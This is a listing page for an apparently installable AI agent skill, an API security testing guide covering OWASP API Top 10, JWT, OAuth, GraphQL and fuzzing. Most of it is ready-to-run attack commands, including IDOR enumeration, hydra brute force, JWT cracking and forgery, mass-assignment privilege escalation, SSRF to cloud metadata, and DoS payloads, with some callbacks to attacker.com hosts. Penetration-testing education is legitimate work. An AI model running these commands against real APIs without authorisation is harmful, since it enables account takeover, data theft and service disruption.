api-security-testing

API security testing guide covering OWASP API Security Top 10, JWT attacks, OAuth vulnerabilities, GraphQL security, and API fuzzing techniques.

仓库: ForceInjection/domain-driven-design-skills
最近来源活动: 2026年5月8日 03:07
检测到的 SKILL.md 语言: 英语
星标: 25
分支: 7

安装方式

默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。

检查来源文件

决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。

返回搜索返回安装

name	api-security-testing
description	API security testing guide covering OWASP API Security Top 10, JWT attacks, OAuth vulnerabilities, GraphQL security, and API fuzzing techniques.

API Security Testing Skill

Comprehensive API security testing guide for 2025.

OWASP API Security Top 10 (2023)

API1: Broken Object Level Authorization (BOLA)

# Test IDOR vulnerabilities
# Access other users' resources

# Get user A's data with user B's token
curl -X GET https://api.target.com/users/123 \
  -H "Authorization: Bearer user_b_token"

# Increment/decrement IDs
for id in $(seq 1 100); do
  curl -s "https://api.target.com/orders/$id" \
    -H "Authorization: Bearer token" | grep -v "404"
done

# UUID enumeration
# Check if UUIDs are truly random or sequential

API2: Broken Authentication

# Weak JWT secrets
jwt_tool token.jwt -C -d wordlist.txt

# JWT algorithm confusion
# Change RS256 to HS256
jwt_tool token.jwt -X a

# JWT none algorithm
jwt_tool token.jwt -X n

# Brute force credentials
hydra -L users.txt -P passwords.txt \
  https-post-form "api.target.com:443/auth/login:
  {\"email\":\"^USER^\",\"password\":\"^PASS^\"}:
  Invalid credentials"

# Mass Assignment
# Add extra properties to requests

# Original request
curl -X PUT https://api.target.com/users/me \
  -H "Authorization: Bearer token" \
  -d '{"name": "John"}'

# Attack - add admin property
curl -X PUT https://api.target.com/users/me \
  -H "Authorization: Bearer token" \
  -d '{"name": "John", "role": "admin", "isAdmin": true}'

# Excessive Data Exposure
# Check if response includes sensitive fields
curl -X GET https://api.target.com/users/me \
  -H "Authorization: Bearer token" | jq .
# Look for: password, ssn, credit_card, internal_id

# Rate limiting bypass
# Try different headers
curl https://api.target.com/endpoint \
  -H "X-Forwarded-For: 127.0.0.1"
curl https://api.target.com/endpoint \
  -H "X-Real-IP: 10.0.0.1"

# Large payload DoS
curl -X POST https://api.target.com/upload \
  -d @large_file.json

# Batch operations
curl -X POST https://api.target.com/batch \
  -d '{"ids": [1,2,3,...1000000]}'

# Access admin endpoints as regular user
curl -X GET https://api.target.com/admin/users \
  -H "Authorization: Bearer regular_user_token"

# Method switching
curl -X PUT https://api.target.com/users/me \
  -H "Authorization: Bearer token"
curl -X DELETE https://api.target.com/users/other_user \
  -H "Authorization: Bearer token"

# Common admin paths
/admin /administrator /manager /internal /debug /api/v1/admin

# Abuse business logic
# Example: Free trials
curl -X POST https://api.target.com/trial/start
curl -X DELETE https://api.target.com/trial/cancel
curl -X POST https://api.target.com/trial/start  # Repeat

# Example: Referral abuse
for i in $(seq 1 100); do
  curl -X POST https://api.target.com/referral \
    -d "{\"code\": \"FRIEND$i\"}"
done

# Internal network scanning
curl -X POST https://api.target.com/webhook \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'

curl -X POST https://api.target.com/fetch \
  -d '{"url": "http://localhost:6379/INFO"}'

# Cloud metadata endpoints
# AWS: http://169.254.169.254/latest/meta-data/
# GCP: http://metadata.google.internal/computeMetadata/v1/
# Azure: http://169.254.169.254/metadata/instance

# Check for exposed endpoints
curl https://api.target.com/swagger.json
curl https://api.target.com/openapi.json
curl https://api.target.com/api-docs
curl https://api.target.com/graphql  # Introspection

# Debug mode
curl https://api.target.com/debug
curl https://api.target.com/actuator/env

# CORS misconfiguration
curl -X OPTIONS https://api.target.com \
  -H "Origin: https://evil.com"

# Version enumeration
curl https://api.target.com/v1/users
curl https://api.target.com/v2/users
curl https://api.target.com/api/v1/users
curl https://api.target.com/api/beta/users

# Deprecated endpoints
# Often less secured or have known vulnerabilities

# Shadow APIs
# Undocumented endpoints discovered through fuzzing

# Third-party API injection
# Inject malicious data through integrated services

# Webhook manipulation
curl -X POST https://api.target.com/webhook \
  -d '{"callback": "https://attacker.com/collect"}'

Header.Payload.Signature

Header: {"alg": "HS256", "typ": "JWT"}
Payload: {"sub": "1234567890", "name": "John", "iat": 1516239022}
Signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

# Decode JWT
jwt_tool eyJhbGci...

# Crack weak secret
jwt_tool eyJhbGci... -C -d /usr/share/wordlists/rockyou.txt

# Algorithm confusion (RS256 → HS256)
jwt_tool eyJhbGci... -X a -pk public_key.pem

# None algorithm
jwt_tool eyJhbGci... -X n

# Key injection (JKU/X5U)
jwt_tool eyJhbGci... -X s -ju "https://attacker.com/jwks.json"

# Kid path traversal
jwt_tool eyJhbGci... -I -hc kid -hv "../../dev/null"

Checklist:
- [ ] Strong secret (>256 bits)
- [ ] RS256 preferred over HS256
- [ ] Expiration (exp) claim present
- [ ] Short expiration time
- [ ] Token revocation mechanism
- [ ] JTI (JWT ID) for replay prevention

# Authorization Code Theft
# Redirect URI manipulation
https://auth.target.com/authorize?
  client_id=xxx&
  redirect_uri=https://attacker.com/callback&
  response_type=code

# Open Redirect in redirect_uri
redirect_uri=https://legitimate.com@attacker.com
redirect_uri=https://legitimate.com%0d%0a%0d%0aattacker.com

# State parameter bypass
# Missing or predictable state = CSRF

# PKCE bypass (for public clients)
# Check if code_challenge is actually validated

# Access token leakage
# Check browser history, referrer headers, logs

# Refresh token theft
# Long-lived refresh tokens stored insecurely

# Token reuse
# Test if revoked tokens are actually invalidated

# Full schema disclosure
{
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name
      fields {
        name
        type { name }
      }
    }
  }
}

# Using tools
python3 graphw00f.py -t https://api.target.com/graphql
inql -t https://api.target.com/graphql

# Batching attack (DoS)
[
  {"query": "{users{id}}"},
  {"query": "{users{id}}"},
  # ... repeat 1000 times
]

# Nested query attack
{
  user(id: 1) {
    friends {
      friends {
        friends {
          # Deep nesting = DoS
        }
      }
    }
  }
}

# Field suggestion exploitation
{
  __type(name: "User") {
    fields {
      name
    }
  }
}

# IDOR via GraphQL
{
  user(id: "other_user_id") {
    email
    password
  }
}

# Accessing mutations
mutation {
  deleteUser(id: "admin_id") {
    success
  }
}

# Endpoint discovery
ffuf -u https://api.target.com/FUZZ -w wordlist.txt

# Parameter fuzzing
ffuf -u "https://api.target.com/users?FUZZ=value" -w params.txt

# Method fuzzing
ffuf -u https://api.target.com/users \
  -X FUZZ -w methods.txt

# JSON fuzzing
ffuf -u https://api.target.com/users \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"name": "FUZZ"}' \
  -w payloads.txt

// Postman script for auth bypass
pm.sendRequest({
    url: pm.environment.get("base_url") + "/admin/users",
    method: "GET",
    header: {
        "Authorization": ""  // Empty auth
    }
}, function(err, res) {
    if (res.code !== 401) {
        console.log("Potential bypass found!");
    }
});

Attack	Tool	Command
JWT cracking	jwt_tool	`jwt_tool token -C -d wordlist.txt`
API fuzzing	ffuf	`ffuf -u URL/FUZZ -w wordlist.txt`
GraphQL introspection	inql	`inql -t URL/graphql`
BOLA testing	Burp	Autorize extension
Rate limit bypass	Custom	X-Forwarded-For header rotation